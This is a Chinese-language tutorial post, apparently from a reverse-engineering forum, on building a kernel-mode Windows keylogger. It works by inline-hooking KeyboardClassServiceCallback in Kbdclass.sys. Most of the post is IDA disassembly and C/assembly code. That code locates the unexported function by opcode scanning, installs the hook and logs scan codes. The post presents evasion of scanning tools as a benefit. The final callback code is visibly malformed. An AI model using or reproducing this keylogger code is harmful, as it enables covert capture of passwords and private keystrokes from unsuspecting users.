键盘记录器的另一种实现方法
网上流传的键盘记录器种类实在是太多了,从Ring3层最简单的GetKeyboardState、键盘钩子到Ring0的kbfiltr、IDTHook、直接IO端口等等,这些实现方法和代码网上都有很多的资料可以查询,今天这里要介绍是另一种Ring0键盘记录器,通过InlineHook Kbdclass.sys的KeyboardClassServiceCallback函数来实现(呵呵,没错,又Hook),该函数可以从WinDDK的Kbdclass源代码找到它的原型,如下:
VOID
KeyboardClassServiceCallback(
IN PDEVICE_OBJECT DeviceObject,
IN PKEYBOARD_INPUT_DATA InputDataStart,
IN PKEYBOARD_INPUT_DATA InputDataEnd,
IN OUT PULONG InputDataConsumed
)
typedef struct _KEYBOARD_INPUT_DATA {
// Unit number. E.g., for \Device\KeyboardPort0 the unit is '0',
// for \Device\KeyboardPort1 the unit is '1', and so on.
USHORT UnitId;
// The "make" scan code (key depression).
USHORT MakeCode;
// The flags field indicates a "break" (key release) and other
// miscellaneous scan code information defined below.
USHORT Flags;
USHORT Reserved;
// Device-specific additional information for the event.
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
#define KEY_MAKE 0 某个键被按下
#define KEY_BREAK 1 某个键被释放
#define KEY_E0 2 控制键被按下(如:Ctrl、Alt)
#define KEY_E1 4 控制键被释放(同上)
这种实现方法的优点与缺点:
优点:
1.可以不用考虑键盘是PS/2的,还是USB的
2.Hook的位置比较深,可以有效的躲开一些扫描工具
3.相对来说,实现也比较简单,只需要关注一个CallBack函数即可
缺点:
1.与标准的键盘过滤驱动相比,稳定性差一点
2.与IDTHook相比,不够底层(如:不能获取QQ的按键信息, 用其它一些手段还是很容易得到QQ的按键信息的,呵呵) 具体实现:
由于Kbdclass内并没有导出该死的KeyboardClassServiceCallback,所以我们第一步是找到该函数在内核内的地址,从IDA反汇编的情况来看,KeyboardClassServiceCallback会被KeyboardAddDeviceEx函数引用
PAGE:00013587 mov [esi+4], eax
PAGE:0001358A mov eax, dword_12044
PAGE:0001358F cmp eax, esi
PAGE:00013591 jz loc_136E9
PAGE:00013597 cmp eax, ecx
PAGE:00013599 jnz loc_136D7
PAGE:0001359F push offset _KeyboardClassServiceCallback@16 ; KeyboardClassServiceCallback(x,x,x,x)
PAGE:000135A4 push esi
PAGE:000135A5 call _KbdSendConnectRequest@8 ; KbdSendConnectRequest(x,x)
PAGE:000135AA mov edi, offset dword_12058
PAGE:000135AF mov ecx, edi
PAGE:000135B1 mov [ebp+var_4], eax
PAGE:000135B4 call ds:__imp_@ExAcquireFastMutex@4 ; ExAcquireFastMutex(x)
PAGE:000135BA mov eax, dword_1204C
PAGE:000135BF test eax, eax
PAGE:000135C1 jbe short loc_135E8
我们只要找到KeyboardAddDeviceEx,而这该死的KeyboardAddDeviceEx函数也不被任何导出的函数引用,所以只有断续往前推,发现在DriverEntry函数内被调用两次
第一次被调用:
INIT:00014192 lea eax, [ebp+DeviceObject]
INIT:00014198 push eax ; DeviceObject
INIT:00014199 push offset unk_12084 ; int
INIT:0001419E push [ebp+IoObject] ; IoObject
INIT:000141A4 call _KbdCreateClassObject@20 ; KbdCreateClassObject(x,x,x,x,x)
INIT:000141A9 cmp eax, ebx
INIT:000141AB mov [ebp+var_20C], eax
INIT:000141B1 jl loc_142A7
INIT:000141B7 mov eax, [ebp+DeviceObject]
INIT:000141BD mov eax, [eax+28h]
INIT:000141C0 push ebx ; int
INIT:000141C1 push [ebp+ValueName] ; ValueName
INIT:000141C7 mov dword_12044, eax
INIT:000141CC push eax ; int
INIT:000141CD mov [eax+28h], bl
INIT:000141D0 call _KeyboardAddDeviceEx@12 ; KeyboardAddDeviceEx(x,x,x)
INIT:000141D5 push ebx ; Tag
INIT:000141D6 push [ebp+ValueName] ; P
INIT:000141DC call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
INIT:000141E2 mov eax, [ebp+DeviceObject]
INIT:000141E8 and byte ptr [eax+1Ch], 7Fh
INIT:000141EC mov [ebp+ValueName], ebx 第二次被调用:
NIT:0001441F lea edi, [esi+8]
INIT:00014422 push edi ; DeviceObject
INIT:00014423 lea eax, [ebp+FileObject]
INIT:00014429 push eax ; FileObject
INIT:0001442A push 80h ; DesiredAccess
INIT:0001442F lea eax, [ebp+ObjectName]
INIT:00014435 push eax ; ObjectName
INIT:00014436 call ds:__imp__IoGetDeviceObjectPointer@16 ; IoGetDeviceObjectPointer(x,x,x,x)
INIT:0001443C test eax, eax
INIT:0001443E jl loc_14518
INIT:00014444 mov eax, [edi]
INIT:00014446 mov al, [eax+30h]
INIT:00014449 mov ecx, [ebp+DeviceObject]
INIT:0001444F inc al
INIT:00014451 mov [ecx+30h], al
INIT:00014454 push [ebp+FileObject] ; int
INIT:0001445A push [ebp+ValueName] ; ValueName
INIT:00014460 push esi ; int
INIT:00014461 call _KeyboardAddDeviceEx@12 ; KeyboardAddDeviceEx(x,x,x)
INIT:00014466 cmp [ebp+ValueName], ebx
INIT:0001446C mov edi, eax
INIT:0001446E jz short loc_14483
INIT:00014470 push ebx ; Tag
INIT:00014471 push [ebp+ValueName] ; P
INIT:00014477 call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
INIT:0001447D mov [ebp+ValueName], ebx
通过上面的分析,我来来总结一下Hook KeyboardClassServiceCallback的步骤:
1.通过在Kbdclass.sys文件中的INIT节内搜索对IoGetDeviceObjectPointer函数的调用,以些来定位KeyboardAddDeviceEx函数(从INIT节开始搜索,而不是DriverEntry开始的原因是为了兼容2000、xp、2003)
2.定位到KeyboardAddDeviceEx函数后,再从KeyboardAddDeviceEx定位KeyboardClassServiceCallback函数
3.Inline Hook KeyboardClassServiceCallback
4.在新的KeyboardClassServiceCallback函数内处理键盘信息
5.结束
下面是实现代码:
得到 KeyboardClassServiceCallback函数在内核内的地址
ULONG GetKbdServiceCallBackAddr(PUCHAR Base, ULONG Size, ULONG DriverEntry, ULONG uIATAddr, ULONG ImageBase)
{
ULONG uKbdServiceCallBackAddr = 0;
ULONG nRetCode = FALSE;
ULONG i = 0;
PUCHAR Buffer = (PUCHAR)DriverEntry;
ULONG OpcodeLen = 0;
ULONG KeyboardAddDeviceExRoutine = 0;
PROCESS_ERROR(Size > DriverEntry - (ULONG)Base + 0x1200);
__try
{
i = 0;
while (i < 0x1000 )
{
if (Buffer[i] == 0xFF && //call dword ptr[xxxxx]
Buffer[i + 1] == 0x15)
{
if ( *(ULONG*)(Buffer + i + 2) == uIATAddr ) //判断是否是调用IoGetDeviceObjectPointer函数
{
break;
}
}
OpcodeLen = GetOpcodeLen(Buffer + i);
PROCESS_ERROR(OpcodeLen);
i += OpcodeLen;
}
PROCESS_ERROR(i < 0x1000);
while (i < 0x1000) //查找KeyboardAddDeviceEx函数地址
{
if (Buffer[i] == 0xE8)
{
KeyboardAddDeviceExRoutine = (ULONG)Buffer + i + *(ULONG*)(Buffer + i + 1) + 5;
break;
}
OpcodeLen = GetOpcodeLen(Buffer + i);
PROCESS_ERROR(OpcodeLen);
i += OpcodeLen;
}
PROCESS_ERROR(KeyboardAddDeviceExRoutine);
Buffer = (PUCHAR) KeyboardAddDeviceExRoutine;
i = 0;
while (i < 0x200)
{
if (Buffer[i] == 0xF && //Jnz xxxxx
Buffer[i + 1] == 0x84 &&
Buffer[i + 6] == 0x3B && //cmp eax, ecx
Buffer[i + 7] == 0xC1 &&
Buffer[i + 8] == 0x0F && //jnz xxxxx
Buffer[i + 9] == 0x85 &&
Buffer[i + 14] == 0x68 && //push KbdServiceCallBack
Buffer[i + 20] == 0xE8 //call KbdSendConnectRequest
)
{
uKbdServiceCallBackAddr = *(ULONG*)(Buffer + i + 14 + 1);
break;
}
OpcodeLen = GetOpcodeLen(Buffer + i);
PROCESS_ERROR(OpcodeLen);
i += OpcodeLen;
}
PROCESS_ERROR(i < 0x200);
PROCESS_ERROR(uKbdServiceCallBackAddr);
uKbdServiceCallBackAddr -= ImageBase;
Buffer = Base + uKbdServiceCallBackAddr;
i = 0;
while (i < 0x100)
{
if (Buffer[i] == 0xFF && //call dword ptr[xxxxx]
Buffer[i + 1] == 0x15
)
{
uKbdServiceCallBackAddr = (ULONG)(Buffer + i) - (ULONG)Base;
goto Exit0;
}
OpcodeLen = GetOpcodeLen(Buffer + i);
PROCESS_ERROR(OpcodeLen);
i += OpcodeLen;
}
PROCESS_ERROR(i < 0x100);
}
__except(1)
{
goto Exit0;
} Exit0:
return uKbdServiceCallBackAddr;
}
INLINE_HOOK_CONTEXT_BLOCK HookKbdClassBlock = {0};
#define Kbdclass_sys "\\SystemRoot\\System32\\Drivers\\Kbdclass.sys"
该死的HOOK
int HookKbdClassServiceCallBack()
{
int nResult = FALSE;
int nRetCode = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
UNICODE_STRING usDriverName;
PDRIVER_OBJECT DriverObject = NULL;
ULONG i = 0;
ULONG OrgRoutineProc = 0;
KPELIB pe;
ULONG uEntryPoint = 0;
UCHAR *pMap = NULL;
ULONG uIATAddr = 0;
IMAGE_SECTION_HEADER *pSecHdr = NULL; DEBUG_BREAK;
RtlInitUnicodeString(&usDriverName, L"\\Driver\\Kbdclass");
status = ObReferenceObjectByName(
&usDriverName,
0, NULL,
0, Api._IoDriverObjectType,
KernelMode, NULL,
(PVOID*)&DriverObject
);
PROCESS_DDK_ERROR(status);
nRetCode = pe.Init(Kbdclass_sys, GENERIC_READ);
PROCESS_ERROR(nRetCode);
pSecHdr = pe.FindSecByName("INIT");
PROCESS_ERROR(pSecHdr);
pMap = pe.GetMap();
uEntryPoint = (ULONG)DriverObject->DriverInit - (ULONG)DriverObject->DriverStart;
uIATAddr = pe.GetIAT("ntoskrnl.exe", "IoGetDeviceObjectPointer");
uIATAddr += pe.GetImageBase();
OrgRoutineProc = GetKbdServiceCallBackAddr(
(PUCHAR)pMap,
pe.GetMapSize(),
pSecHdr->VirtualAddress + (ULONG)pMap,
uIATAddr,
pe.GetImageBase()
);
PROCESS_ERROR(OrgRoutineProc);
//OrgRoutineProc -= pe.GetImageBase();
OrgRoutineProc += (ULONG)DriverObject->DriverStart;
nRetCode = InlineHookFunctionByAddr(
KeyboardClassServiceCallback, OrgRoutineProc, 6,
&HookKbdClassBlock
);
PROCESS_ERROR(nRetCode);
GlobalData.IsHooked = TRUE;
nResult = TRUE;
Exit0:
if (DriverObject)
{
ObDereferenceObject(DriverObject);
}
pe.Unit();
return nResult;
}
//注意,这里取到的只是扫描码,怎么转换成Ascii码,大家自己网上找吧:)
__declspec(naked)
VOID
KeyboardClassServiceCallback(
IN PDEVICE_OBJECT DeviceObject,
IN PKEYBOARD_INPUT_DATA InputDataStart,
IN PKEYBOARD_INPUT_DATA InputDataEnd,
IN OUT PULONG InputDataConsumed
)
{
dprintf("UnitId: %08X MakeCode: %c Flags: %08X ExtraInformation: %08X InputDataStart->UnitId,
InputDataStart->MakeCode,
InputDataStart->Flags,
InputDataStart->ExtraInformation
);
__asm
{
ret
}
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)